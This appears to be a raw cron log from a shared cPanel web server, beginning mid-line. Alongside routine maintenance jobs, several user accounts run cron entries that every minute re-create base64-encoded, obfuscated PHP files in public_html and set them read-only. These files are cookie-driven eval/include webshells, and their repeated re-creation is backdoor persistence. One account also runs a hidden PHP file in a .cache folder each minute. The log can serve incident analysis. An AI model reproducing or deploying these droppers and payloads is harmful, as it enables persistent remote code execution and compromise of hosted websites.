MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:30:02 medusa CROND[5889]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:30:02 medusa CROND[5914]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:30:02 medusa CROND[5915]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 08:30:02 medusa CROND[5917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5910]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 08:30:02 medusa CROND[5921]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 08:30:02 medusa CROND[5925]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:30:02 medusa CROND[5931]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 08:31:01 medusa CROND[30566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:31:01 medusa CROND[30567]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:31:01 medusa CROND[30569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:31:01 medusa CROND[30571]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:31:01 medusa CROND[30572]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:31:01 medusa CROND[30570]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:31:01 medusa CROND[30578]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:31:01 medusa CROND[30580]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:31:01 medusa CROND[30577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:31:01 medusa CROND[30581]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:31:01 medusa CROND[30582]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:31:01 medusa CROND[30579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:31:01 medusa CROND[30587]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:32:01 medusa CROND[23251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:32:01 medusa CROND[23319]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:32:01 medusa CROND[23320]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:32:01 medusa CROND[23321]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:32:01 medusa CROND[23322]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:32:01 medusa CROND[23325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:32:01 medusa CROND[23326]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:32:01 medusa CROND[23330]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:32:01 medusa CROND[23331]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:32:01 medusa CROND[23333]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:32:01 medusa CROND[23334]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:32:01 medusa CROND[23339]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:32:01 medusa CROND[23341]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:33:01 medusa CROND[16135]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:33:01 medusa CROND[16198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:33:01 medusa CROND[16199]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:33:01 medusa CROND[16200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
